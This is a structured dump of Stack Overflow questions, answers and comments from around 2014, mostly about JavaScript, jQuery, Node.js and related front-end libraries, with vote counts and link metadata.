comment on: http://stackoverflow.com/a/25695182
type: Comment
has text: Yes, sorry there is a 5 minute timer delay on the accept button.

http://stackoverflow.com/a/25597413
answers question: http://stackoverflow.com/q/25597361
has comment: http://stackoverflow.com/comment/40010551
has comment: http://stackoverflow.com/comment/40010158
type: Answer
has comment: http://stackoverflow.com/comment/39984070
has body: I hope this is help u $(document).ready(function(){ $("#diarySubmit").on('click', function(){ var row_uniqe_id = Math.round(Math.random()*100000); var distanceRan = $('#distanceField').val(); var timeRan = $('#timeField').val(); var dateRan = $('#dateField').val(); var new_row = ' \ '+distanceRan+' \ '+timeRan+' '+dateRan+' \ Clear Entry \ '; $('#diary').append(new_row); }); });
score: 0

http://stackoverflow.com/q/25584893
type: Question
tagged with: javascript
has body: How do I properly include and use Moment.js in my Apigee API proxy? In included version 2.8.2 in the policy: jsc://include/moment.min.js Whether or not I try to use it in my main JavaScript file, the API request always returns an error: { "fault": { "faultstring": "Execution of reformatBookingDetails failed with error: Javascript runtime error: \"Cannot modify a property of a sealed object: moment. (reformatBookingDetails_js#6)\"", "detail": { "errorcode": "steps.javascript.ScriptExecutionFailed" } } } I also tried the following. Instead of using IncludeURL I manually copied the Moment.js code at the top of my main JavaScript file. But I got the same error. Update: I tried previous versions of Moment.js, and I found that version 2.5.1 does not have this issue. This issue appears to have been introduced in 2.6.0
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: apigee
tagged with: momentjs
has answer: http://stackoverflow.com/a/32406196
has title: How to use Moment.js with Apigee API proxy?

http://stackoverflow.com/q/25596024
score: 1
type: Question
tagged with: parsley.js
has answer: http://stackoverflow.com/a/25852139
downvote count: 0
has comment: http://stackoverflow.com/comment/39982377
tagged with: javascript
tagged with: jquery
tagged with: validation
has title: Parsley Remote Recaptcha Validation
answer count: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: php
has body: I implemented a multistep form using parsley and I need to validate a recaptcha. The first problem is that the recaptcha is generated by the function recaptcha_get_html($publickey), so I cannot add attributes manually within the input element. Nonetheless I solved that using .attr() on window.onload() as follows: window.onload = function() { $("#recaptcha_response_field").attr('data-parsley-group','block1'); $("#recaptcha_response_field").attr('data-parsley-required','true'); $("#recaptcha_response_field").attr('data-parsley-remote-message','Wrong Captcha'); $("#recaptcha_response_field").attr('data-parsley-remote','lib/validateRecaptcha.php'); }; To accomplish the validation I need to pass to the php file two fields: recaptchaChallengeField and recaptchaResponseField. As I said, it is a multi step form... so to validate the form I have this logic attached to the "next" button, and I added the data-parsley-remote-options as follows: $('.next').on('click', function () { var current = $(this).data('currentBlock'), next = $(this).data('nextBlock'); $("#recaptcha_response_field").attr('data-parsley-remote-options','{"type": "POST", "dataType": "jsonp", "data": {"recaptchaChallengeField": "'+$("#recaptcha_challenge_field").val()+'", "recaptchaResponseField": "'+$("#recaptcha_response_field").val()+'"}}'); // only validate going forward. If current group is invalid, do not go further // .parsley().validate() returns validation result AND show errors if (next &gt; current) if (false === $('#signup-form').parsley().validate('block' + current)) return; // validation was ok. We can go on next step. $('.block' + current) .removeClass('show') .addClass('hidden'); $('.block' + next) .removeClass('hidden') .addClass('show'); }); As you can see, the recaptchaResponseField is dynamic... I catch the value everytime the user press the "next" button. Here is my php code: require_once('recaptcha-php-1.11/recaptchalib.php'); $privatekey = "private_key"; $resp = recaptcha_check_answer ($…
has comment: http://stackoverflow.com/comment/40007440

http://stackoverflow.com/q/25658889
type: Question
tagged with: canvas
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: Currently I have a game that when you click on the canvas and a piece of food will be draw on it. And then the fish sprite will move towards the food to eat it. This is the function to let the fish to move towards to the food: Fish.prototype.eatFood = function() { var foodX, foodY; var halfWidth = this.frameWidth * this.frameScale / 2; var halfHeight = this.frameHeight * this.frameScale / 2; // Loop backward because we are removing elements. for (var i = foodArray.length-1; i &gt;= 0; i--) { foodX = foodArray[i].x + foodWidth / 2; foodY = foodArray[i].y + foodHeight / 2; if (foodX &gt; this.xPos - halfWidth &amp;&amp; foodX &lt; this.xPos + halfWidth &amp;&amp; foodY &gt; this.yPos - halfHeight&amp;&amp; foodY &lt; this.yPos + halfHeight) { foodArray.splice(i, 1); //Clearing away food after both of it collide } } }; How can i set a counter, so everytime when the fish eats the food the counter will increase.
has title: Setting counter for collision
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40096139
has answer: http://stackoverflow.com/a/25659124

http://stackoverflow.com/comment/40184153
comment on: http://stackoverflow.com/q/25707142
type: QuestionComment
score: 1
has text: a copy of your code in jsfiddle would be nice
type: Comment

game-loop
tag name: game-loop
tags question: http://stackoverflow.com/q/25640912
type: Tag

http://stackoverflow.com/a/25558721
has body: The mongodb node module already has built-in connection pooling functionality that is used automatically when you call connect(). The default max connection pool size is 5, however you can change this value in the connection url (e.g. 'mongodb://localhost:27017/foo?maxPoolSize=15'). You'll also want to change the number of actual connections created by setting poolSize in the server config options to some value less than or equal to maxPoolSize. You may also want to set auto_reconnect to true. Now what you could do is keep an object keyed on host:port that contains the database object for that server. If someone passes in a connection string that contains a host:port in your object, then return the pool. Otherwise create, cache, and return the new database object.
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/39913633
answers question: http://stackoverflow.com/q/25558045
score: 1

http://stackoverflow.com/a/25703238
type: Answer
accepted answer of: http://stackoverflow.com/q/25697907
answers question: http://stackoverflow.com/q/25697907
has body: function getThePushNameById( path , id, callback ){ path.once( 'value', function( data ){ if( data.child('id').val() != id ){ data.forEach( function( newData ){ var base = new Firebase( path.child( newData.name() ).toString() ); getThePushNameById( base, id , callback ); //here was the error }) }else{ //finishes the function when path is founded - returns the value callback(path.name()); } }) } getThePushNameById( base, 2, function(output) { console.log(output); }); founded an error: callback was not back defined when function called itself again, so it returned an undefined. this code is now ok and works well
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/65465468
has text: Great answer! Bonus for mentioning the underscore library's use of partial function evalution. However, I also wanted to mention alternate ways of passing arguments to the first function in case you don't want to include an additional library such as underscore or lodash for this purpose alone: *1. Use the ES5+ bind() method as follows:* `fs.readFile.bind(null, 'stocktest.json')` *2. Use async.apply() as follows:* `async.apply(fs.readFile, 'stocktest.json')`
type: Comment
comment on: http://stackoverflow.com/a/25705318
score: 0
type: AnswerComment

http://stackoverflow.com/q/25658681
has comment: http://stackoverflow.com/comment/40095818
has body: In Javascript is it possible to convert many if/else statements to a dictionary for space efficiency? For example I have the following which is longer in reality if (namelen &lt; 20) { form.innerHTML = 'hurray!'; } else if (namelen &gt; 20 &amp;&amp; lastname &lt; 90) { form.innerHTML = 'too long'; } else if (namelen &gt; 90 &amp;&amp; lastname &lt; 120) { form.innerHTML = 'go away you cheater'; } ... Is there a way to make that into a dictionary for space efficiency? maybe something like var diction = {namelen &lt; 20: 'hurray', namelen &gt; 20: 'too long', lastname &lt; 90: 'too long', namelen &gt; 90: 'go away you cheater', namelen &lt; 120: 'go away you cheater'} If not a dictionary, how would I refactor that many if else? bear in mind that I'm new to JS and can have missed some important features, and before you ask I spend most of the day reading programming books and the rest of the day coding.
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/25658861
has comment: http://stackoverflow.com/comment/40095937
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25658861
type: AnsweredQuestion
has title: Is it possible to convert many if/else statements to a dictionary for space efficiency?
score: -1
favorite count: 0
linked to: http://stackoverflow.com/q/3575825
type: Question
has comment: http://stackoverflow.com/comment/40095754
downvote count: 2

http://stackoverflow.com/comment/40142544
comment on: http://stackoverflow.com/q/25683556
score: 0
type: Comment
type: QuestionComment
has text: just check version of js files and see console errors

http://stackoverflow.com/q/25605215
tagged with: promise
has body: I have a recursive function and I am trying to make it run in sequence, returning the promise every time. The code is recursive and works well but works only for the first item in the for loop. Example: folder: 1 - OK folder: 11 - OK folder: 111 - OK folder: 111 - OK folder: 2 - NOT OK folder: 12 - NOT OK All asynchronous downloads completed in sequence. I think it is because when I return the promise from inside, then the for loop gets interrupted. function CopySubFolders(folder, destFolder) { // Recursively copy each subfolder return folder.getFoldersAsync() .then(function (folderlist) { if (folderlist.size &gt; 0) { for (var i in folderlist) { var replace = Windows.Storage.CreationCollisionOption.replaceExisting; console.log("create folder: " + folderlist[i].name); return destFolder.createFolderAsync(folderlist[i].name, replace) .then(function (newdest) { return CopySubFolders(folderlist[i], newdest); }); } } else { return WinJS.Promise.as(); } }); } CopySubFolders(folder, self.localFolder) .then(function () { completeFunc("Done"); console.log("All asynchronous downloads completed in sequence."); }) Any idea how to return the promise without interrupting the for loop? PS: if I use a forEach loo it will not get interrupted, but then I loose the capability of returning the folders in sequence. Example: folder: 1 - OK All asynchronous downloads completed in sequence. folder: 11 - OK folder: 111 - OK folder: 111 - OK folder: 2 - OK folder: 12 - OK
tagged with: foreach
has title: return a promise from inside a for loop
accepted answer: http://stackoverflow.com/a/25605307
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39998955
tagged with: javascript
type: Question
score: 0
answer count: 1
tagged with: winjs
has answer: http://stackoverflow.com/a/25605307

http://stackoverflow.com/q/25576460
upvote count: 2
favorite count: 0
tagged with: meanjs
has answer: http://stackoverflow.com/a/25576532
accepted answer: http://stackoverflow.com/a/25576532
possible better answer: http://stackoverflow.com/a/25679881
tagged with: lodash
score: 2
type: AnsweredQuestion
has body: I'm trying to use lodash from within a mongoose model on the server, _.pluck(...), and I'm getting "ReferenceError: _ is not defined". From what I read, lodash is included in MeanJS. Is there something special I need to do?
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25679881
has title: How to enable and use '_' in MeanJS?
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40006725
type: Comment
has text: Think of the order of what happens like this; 1. client requests page, 2. server invokes code to generate page source, 3. invocation ends, page source transmitted to client, 4. client receives page source, 5. connection from server closed, 6. client's browser interprets source, 7. `<scripts>`s are executed on the client's machine, 8. end interpretation clientside, 9. rendered page displayed to client. i.e. **for all intensive purposes** by the time _JavaScript_ is being executed (step `7`), the server-side code has already completed and the connection to the server has already been closed.
comment on: http://stackoverflow.com/q/25609831
score: 0
type: QuestionComment

http://stackoverflow.com/a/25568441
has comment: http://stackoverflow.com/comment/39931390
has comment: http://stackoverflow.com/comment/39930049
answers question: http://stackoverflow.com/q/25568269
downvote count: 1
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/39931763
type: Answer
has body: It may work for you. first call a before_submit function on Click button, then call a function for page-loader then after some seconds it will submit your form. &lt;form action="asd.html" method="post" id="myForm"&gt; &lt;input type="button" onclick="before_submit()" /&gt; &lt;/form&gt; &lt;Script&gt; function before_submit() { // document.getElementById('page-loader').style.display='block'; setTimeout(to_submit_form,5000); } function to_submit_form(){ alert("submit"); document.getElementById("myForm").submit(); } &lt;/script&gt;

http://stackoverflow.com/comment/40001577
type: QuestionComment
has text: What's the `3D` doing before opening quotes?
score: 1
comment on: http://stackoverflow.com/q/25606731
type: Comment

http://stackoverflow.com/q/25563366
accepted answer: http://stackoverflow.com/a/25563528
linked to: http://stackoverflow.com/q/16063394
linked to: http://stackoverflow.com/q/25253831
answer count: 4
type: AnsweredQuestion
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25563710
type: Question
has comment: http://stackoverflow.com/comment/39920720
has title: why instances doesn't inherit property added to constructor function without prototype keyword
has answer: http://stackoverflow.com/a/25563637
has body: in this example a property called 't' is added to speak function.Speak.t=5;when i call speak() it prints the value 5 via another function called show.But when i create new instance of Speak it doesn't inherit the property t.Why is that so??i mean if it is a property of Speak constructor all its instances should inherit it?? &lt;html&gt; &lt;body&gt; &lt;script&gt; function Speak(){ show(Speak.t); } Speak.t=5; function show(v){ console.log('value is : '+v); } Speak(); var s1=new Speak(); console.log(s1.t); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;
has answer: http://stackoverflow.com/a/25563625
linked to: http://stackoverflow.com/q/1535631
tagged with: javascript
upvote count: 2
has comment: http://stackoverflow.com/comment/39923245
favorite count: 0
possible better answer: http://stackoverflow.com/a/25563625
has answer: http://stackoverflow.com/a/25563528

http://stackoverflow.com/a/25587781
has comment: http://stackoverflow.com/comment/39966840
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25587762
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/25587762
score: 73
has body: I'd suggest: document.querySelector('.rateRecipe.btns-one-small').click(); The above code assumes that the given element has both of those classes; otherwise, if the space is meant to imply an ancestor-descendant relationship: document.querySelector('.rateRecipe .btns-one-small').click(); The method getElementsByClassName() takes a single class-name (rather than document.querySelector()/document.querySelectorAll(), which take a CSS selector), and you passed two (presumably class-names) to the method. References: document.getElementsByClassName(). document.querySelector().
upvote count: 74

http://stackoverflow.com/q/25667268
tagged with: regex
accepted answer: http://stackoverflow.com/a/25667296
type: AnsweredQuestion
tagged with: unit-testing
type: Question
linked to: http://stackoverflow.com/q/25851583
has body: I am working on testcases regarding reular expression with the assisstance of jqunit: test("Date entry should be a Date", function () { ok(/(\d+[-/\.]\d+[-/\.]\d+)/g.test("10.12.2014"), "Date is not parsed correctly: 10.12.2014"); ok(/(\d+[-/\.]\d+[-/\.]\d+)/g.test("10-12-2014"), "Date is not parsed correctly: 10-12-2014"); ok(/(\d+[-/\.]\d+[-/\.]\d+)/g.test("10/12/2014"), "Date is not parsed correctly: 10/12/2014"); }); The second condition is failing, but executing them in the browser's console or on regexr.com all of them a true. Any hints where this behaviour comes from?
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25667296
has title: jqunit, testing regex fails at some point, why?
answer count: 1

http://stackoverflow.com/comment/40164639
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25696376
score: 0
has text: It may just that the alert is no coming up, alerts are done via phonegap. You need to be able to debug. Try Weinre http://people.apache.org/~pmuellr/weinre-docs/latest or on IOS you can hook the enulator up to Safari http://phonegap-tips.com/articles/debugging-ios-phonegap-apps-with-safaris-web-inspector.html. You need to see what the JS console is saying otherwise its super tricky to get a handle on things.

grails
tags question: http://stackoverflow.com/q/25645065
tags question: http://stackoverflow.com/q/25563201
tags question: http://stackoverflow.com/q/25680394
tags question: http://stackoverflow.com/q/25665908
type: Tag
tags question: http://stackoverflow.com/q/25602254
tags question: http://stackoverflow.com/q/25702043
tag name: grails

http://stackoverflow.com/comment/40004893
has text: Never mind, it's solved, thanks. Anyway, if it's useful to someone, all I was trying to do was making the IF statement that is in the FOR loop run only once, instead of running everytime the loop started over. To solve it, I just did what Barmar said.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25608725

http://stackoverflow.com/comment/39976416
score: 0
has text: Indeed; the point of the question was that the user would not need several copies of such common libraries. Your proposed solution is not ideal, but it has the virtue that it *works* without any extra action on the part of the user, but can still be optimized with such an extra action. Thanks! (I have to admit, I'm surprised a better solution hasn't been created for this yet.)
comment on: http://stackoverflow.com/a/25592862
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40192496
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711675
score: 0
has text: Color me ignorant, but I have not yet grasped the concept of 'this.' yet fully, care to elaborate a bit more?

http://stackoverflow.com/comment/39989242
has text: I think it's the first one.
comment on: http://stackoverflow.com/a/25583342
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25620374
score: 1
downvote count: 0
has body: I found the answer. You have to include script references in page definition header only. At html text region, you need not have to include scripts or css files. They are to be included in page dfinition. & path for it would be " and / em would be and or likewise
answers question: http://stackoverflow.com/q/25604414
type: Answer
upvote count: 1

http://stackoverflow.com/comment/39918688
score: 0
type: Comment
has text: Awesome! Thank you very much. :) Of the two, would you recommend one over the other?
comment on: http://stackoverflow.com/a/25562365
type: AnswerComment

http://stackoverflow.com/a/25702788
answers question: http://stackoverflow.com/q/25702736
score: 2
has comment: http://stackoverflow.com/comment/40175811
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40176072
type: Answer
has comment: http://stackoverflow.com/comment/40175794
upvote count: 2
has comment: http://stackoverflow.com/comment/40175716
accepted answer of: http://stackoverflow.com/q/25702736
has comment: http://stackoverflow.com/comment/40175851
has comment: http://stackoverflow.com/comment/40175725
has body: Okay, first up your HTML code is bad. You should be using ng-class instead: &lt;div ng-class="visibilityCss"&gt; Show/Hide Area &lt;/div&gt; To answer your question, Angular has a built in setup for exactly this feature. By adding the class ng-cloak, and adding the following CSS to your stylesheet, it'll be hidden when the page loads. Angular will then show it once everything is loaded. [ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak { display: none !important; } And then in your HTML: &lt;div class="ng-cloak" ng-class="visibilityCss"&gt; Show/Hide Area &lt;/div&gt; Edit As mentioned by Chandresh, using the ng-show directive with a true/false value would be a better option than using ng-class

openlayers-3
type: Tag
tag name: openlayers-3
tags question: http://stackoverflow.com/q/25669210

http://stackoverflow.com/comment/40064678
comment on: http://stackoverflow.com/q/25640621
score: 0
type: QuestionComment
type: Comment
has text: @Bergi What are you talking about ? unload ?? I'm trying to avoid the double click issues (i.e. on checkout /payment buttons )

http://stackoverflow.com/a/25569351
accepted answer of: http://stackoverflow.com/q/25569339
type: Answer
has comment: http://stackoverflow.com/comment/39931815
answers question: http://stackoverflow.com/q/25569339
has comment: http://stackoverflow.com/comment/39931852
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/39931872
has body: There's no comma after "CSS 2/3".
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39931880

http://stackoverflow.com/a/25897153
type: AcceptedAnswer
downvote count: 0
score: 30
upvote count: 30
has comment: http://stackoverflow.com/comment/107724683
type: Answer
has body: I have successfully been mimicking arrays by defining my model like: var MyModel = sequelize.define('MyModel', { myArrayField: { type: DataTypes.STRING, get: function() { return JSON.parse(this.getDataValue('myArrayField')); }, set: function(val) { return this.setDataValue('myArrayField', JSON.stringify(val)); } } }
has comment: http://stackoverflow.com/comment/119447622
accepted answer of: http://stackoverflow.com/q/25565212
answers question: http://stackoverflow.com/q/25565212

http://stackoverflow.com/q/25670263
has comment: http://stackoverflow.com/comment/40117936
has comment: http://stackoverflow.com/comment/40117600
tagged with: javascript
has body: I use $(window).resize() event to do resizing of a SVG chart I produce with D3. I calculate the width of the parent and set SVG element width equal to it and keep the height the same all the time, so the chart changes in width but stays the same in height. I noticed that the actual size of the SVG element is not the same as what's set in the width and height attributes. That makes some content hidden on the bottom if the screen is wide and shows it if the screen is narrow. How can I make SVG be of the same size as what I set in attributes to make the proportions precise? Update: The same behaviour can be seen on any SVG image, like this http://www.svgopen.org/2003/papers/WhyCompileSvg/myButterfly.png, when you resize the window, it makes the image resize proportionally. I want to disable this behaviour because I set width and height attributes explicitly.
has title: Disable SVG autoscaling proportionally
type: Question
has comment: http://stackoverflow.com/comment/40117134
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40116985
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/70412318
tagged with: http://stackoverflow.com/tag/svg
tagged with: d3.js
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40116971
upvote count: 1

http://stackoverflow.com/comment/39996932
has text: I tried this before, didn‘t help. But thanks anyway.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25604272

http://stackoverflow.com/a/25552560
score: 1
answers question: http://stackoverflow.com/q/25551840
upvote count: 1
has body: This library has an option of image_markup, documentation, using that will avoid javascript solutions. Add a link with target="_blank" within the image_markup option when you instance prettyPhoto image_markup: '&lt;a href="{path}" target="_blank"&gt;&lt;img id="fullResImage" src="{path}" /&gt;&lt;/a&gt;' Example $("a[rel^='prettyPhoto']").prettyPhoto({image_markup: '&lt;a href="{path}" target="_blank"&gt;&lt;img id="fullResImage" src="{path}" /&gt;&lt;/a&gt;'}); Otherwise, you'd have to do something like this, jsFiddle Example $(document.body).on('click', '#fullResImage', function(){ window.open(this.src, '_blank'); });
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40190166
comment on: http://stackoverflow.com/a/25710690
score: 0
type: AnswerComment
type: Comment
has text: You add delete link for each input box(first and more). But I need to add delete link for input box +1(second and more). first input not need to show delete box.

http://stackoverflow.com/comment/39993557
has text: Angular has always worked just fine for me in the ` ` section.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25602495

http://stackoverflow.com/comment/40128978
type: QuestionComment
comment on: http://stackoverflow.com/q/25677234
score: 0
has text: Perhaps it's the simulator that isn't performing correctly?
type: Comment

http://stackoverflow.com/comment/39962177
has text: Hi Khaleel, this doesn't do what im looking for. It alerts "top" when you scroll to the top of the page. Im trying to determine when youre scrolling at the top of the div (which is a long way down the page)
type: AnswerComment
comment on: http://stackoverflow.com/a/25585507
score: 0
type: Comment

http://stackoverflow.com/a/25628812
accepted answer of: http://stackoverflow.com/q/25628742
answers question: http://stackoverflow.com/q/25628742
has body: Use a regex literal with the g modifier, and escape the "/" with a "\" so it doesn't clash with the delimiters. var myStr = '//File/Test/images', replacement = ''; var replaced = myStr.replace(/\//g, replacement);
upvote count: 3
type: AcceptedAnswer
type: Answer
score: 3
downvote count: 0

http://stackoverflow.com/comment/40043806
comment on: http://stackoverflow.com/a/25613615
type: Comment
has text: `requestAnimationFrame` is most steady if it is at the beginning of the animation loop so it's not "blocked" by time variances in executing the drawing code. `requiredElapsed` is helpful in case the drawing is likely to take longer than the 1/60th second allowed by requestAnimationFrame. Test your drawing code to see how much time is required to execute the drawing. Then set requiredElapsed to a time that comfortably allows drawings to complete. Cheers! :-)
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40055368
score: 1
comment on: http://stackoverflow.com/q/25636463
type: Comment
type: QuestionComment
has text: The server does not support CORS, see http://enable-cors.org/server.html on how to enable it.

http://stackoverflow.com/a/29970627
type: Answer
downvote count: 2
score: -2
answers question: http://stackoverflow.com/q/25623472
upvote count: 0
has body: To download a file by using anchor tag use following method: Download file path is a path were your file is store after uploading.. suppose you create a folder name "File" in your site folder in which you store a file name adc.doc to download this file use Download

http://stackoverflow.com/q/25700050
upvote count: 1
tagged with: dom
has comment: http://stackoverflow.com/comment/40170724
has comment: http://stackoverflow.com/comment/40170769
type: Question
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25700260
has comment: http://stackoverflow.com/comment/40170743
answer count: 1
has body: when I do this elm.getAttribute('class'), it seems to return the value without any spaces that follows it. for example, &lt;a class="special "&gt;, it will return "special". I would like the returned value to be "special "
has comment: http://stackoverflow.com/comment/40170747
favorite count: 0
type: UnansweredQuestion
has title: javascript: get attribute value with space
has comment: http://stackoverflow.com/comment/40170818
tagged with: getattribute
has comment: http://stackoverflow.com/comment/40170812
has comment: http://stackoverflow.com/comment/40170766
downvote count: 2

http://stackoverflow.com/comment/40082146
score: 1
has text: Re: #1, I guess I should have explicitly stated in the OP that I want a solution that doesn't involve extra (hidden) form fields or magic id or class values.
type: AnswerComment
comment on: http://stackoverflow.com/a/25651349
type: Comment

http://stackoverflow.com/q/25662217
answer count: 3
has body: I am dynamically building a button in JavaScript, this will include an onClick event. The onClick event needs to focus a field which is stored in a variable. I couldn't find a way of using the field variable itself, so instead decided to try using the field.selector property from the JQuery object, this WILL contain " ". Here is a code snippet of the construction as it stands. InvalidField.prototype.getMessageStructure = function(){ var structure = ' ' + this._message + ' '; return structure; }; This is outputting: As you can see, the quotations will not be out put correctly and so break on click. Can anyone foresee a better way of performing this function, or correcting the quotations? I see from this SO Answer that the DOM doesn't respect the quotations which is what is currently causing me the issue. Kind Regards.
has answer: http://stackoverflow.com/a/25663096
tagged with: jquery
has comment: http://stackoverflow.com/comment/40102793
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40101668
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40102598
accepted answer: http://stackoverflow.com/a/25663096
has title: Dynamically building a button with an onClick
upvote count: 1
downvote count: 1
possible better answer: http://stackoverflow.com/a/25662434
type: Question
has answer: http://stackoverflow.com/a/25662434
has comment: http://stackoverflow.com/comment/40101769
has comment: http://stackoverflow.com/comment/40102717
tagged with: javascript
has answer: http://stackoverflow.com/a/25662710
score: 0

http://stackoverflow.com/comment/39970280
score: 0
type: AnswerComment
has text: I can not define the layout in every page cause i need to persist state. I have updated my question for more clarity
comment on: http://stackoverflow.com/a/25583721
type: Comment

http://stackoverflow.com/comment/40132755
type: AnswerComment
type: Comment
has text: Like google.com, if this open it will alert using your code. Pls see the updated question
comment on: http://stackoverflow.com/a/25678587
score: 0

http://stackoverflow.com/comment/39913632
type: Comment
score: 0
type: AnswerComment
has text: You can do `Truck.prototype.WhateverYouWantToAdd = function(){}` over and over again
comment on: http://stackoverflow.com/a/25559448

http://stackoverflow.com/comment/39900033
has text: then I'd add a class to the body each time you change the theme and copy the css of each theme, precede the theme name as selector for your copied own css class
comment on: http://stackoverflow.com/q/25552296
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25583993
type: Answer
answers question: http://stackoverflow.com/q/25583826
score: 0
has body: .innerHTML gets you a string, and strings don’t have a method getElementsByTagName … call that method on the element directly instead: var main = document.getElementById('&lt;%=Label6.ClientID%&gt;'); var myList = main.getElementsByTagName('span'); var count = myList.length; document.getElementById('&lt;%=Label8.ClientID%&gt;').innerHTML = count;
has comment: http://stackoverflow.com/comment/39959420

http://stackoverflow.com/comment/40185774
type: Comment
type: QuestionComment
has text: because it is not one picture, it is multiple picture that you let the user to mouseover on one of them. that is why I must get the id of src picture to change it with previous one
comment on: http://stackoverflow.com/q/25708163
score: 0

http://stackoverflow.com/q/25664981
has comment: http://stackoverflow.com/comment/40107063
type: Question
has comment: http://stackoverflow.com/comment/40106483
has answer: http://stackoverflow.com/a/25665484
has comment: http://stackoverflow.com/comment/40107082
tagged with: javascript
has comment: http://stackoverflow.com/comment/40106326
upvote count: 4
has comment: http://stackoverflow.com/comment/40107073
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
has body: I am creating a chrome extension where I am dynamically creating the checkbox. Now in document ready I have placed the code to handle the "checked" change event of checkbox but the code is not working as expected because am not getting any alerts when i click it. Creating dynamic checkbox: function createExtensionUI(extensionListArray){ var bkg = chrome.extension.getBackgroundPage(); var extensionLength = extensionListArray.length; for(var i=0; i<extensionLength; i++){ var extensionObject = extensionListArray[i]; if(extensionObject.type == "extension"){ var checkbox = ' '+extensionObject.shortName+' '; $('#extensionList').append(checkbox); bkg.console.log(checkbox); } } } dynamic checkbox html code sample: Coremetrics Bar for Chrome Code for change event: $(document).ready(function(){ chrome.management.getAll(getExtensionList); $("input[type=checkbox]").change(function() { alert('hello'); }); }); Am not getting any "hello" alert. My UI for extension is coming properly. I have tried the following but they also didn't worked: $("input[type=checkbox]").change $(".extensionbox").change I am using jquery version 1.11.1
has comment: http://stackoverflow.com/comment/40106697
has comment: http://stackoverflow.com/comment/40106928
accepted answer: http://stackoverflow.com/a/25665484
tagged with: google-chrome-extension
tagged with: checkbox
has title: Change event not firing for checkbox in Chrome extension
type: AnsweredQuestion
score: 4
has comment: http://stackoverflow.com/comment/40106845
has comment: http://stackoverflow.com/comment/40106668
tagged with: google-chrome

http://stackoverflow.com/q/25634279
type: AnsweredQuestion
score: 2
tagged with: leaflet
type: Question
tagged with: openstreetmap
accepted answer: http://stackoverflow.com/a/25638217
has body: I'm developing a basic leaflet map that updates periodically based on latlng and heading of a sensor. I've got the marker updating based on latitude and longitude inputs, now I need to adjust the view so that the top always represents the direction of the sensor (heading). Thanks for your help!
downvote count: 0
tagged with: javascript
has title: Leaflet - top side of map always points to heading direction of a sensor
answer count: 1
linked to: http://stackoverflow.com/q/22875857
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/25638217

http://stackoverflow.com/a/25578453
type: Answer
has body: In your example, I dont know why you use functions to create element, but you must have your point. Try this and let me know does this work for you. //this is equivalent to: var btn = document.createElement('button'); var btn = (function(){ var btn = document.createElement('button'); return btn; })(); var iframe = (function{ var iframe = document.createElement('iframe'); return iframe; })(); document.getElementById("parentId").appendChild(btn); document.getElementById("parentId").appendChild(iframe); btn.addEventListener('click', function(){ iframe.style.display = "none"; });
answers question: http://stackoverflow.com/q/25577204
score: 0

http://stackoverflow.com/comment/39992492
type: QuestionComment
has text: Would be great to show some of the code.
comment on: http://stackoverflow.com/q/25602145
score: 0
type: Comment

http://stackoverflow.com/q/25591777
upvote count: 1
tagged with: css
accepted answer: http://stackoverflow.com/a/25592540
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39973757
score: 1
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39973929
favorite count: 0
has answer: http://stackoverflow.com/a/25592540
has comment: http://stackoverflow.com/comment/39973791
has comment: http://stackoverflow.com/comment/39973713
tagged with: http://stackoverflow.com/tag/html
has body: I`m trying build function who on document width changes get current webpage windows size and save last of past width with function, so i need past value. So in pseido code it will be: on resize(function){ var CURENT_W = 100 **var PAST_W = 90** var MODIFIER = CURENT_W - PAST_W jQuert('#element').css('atribute': MODIFIER) }); So i need function who tell me how much window is resized. How to get old document width? It`s possile? Maybe there is some better method?
has title: On window resize get new width and last one

http://stackoverflow.com/q/25662860
score: 0
answer count: 1
tagged with: mongoose
has title: Nested Array in JSON: Push / Unshift with date object creates double entry
type: UnansweredQuestion
tagged with: node.js
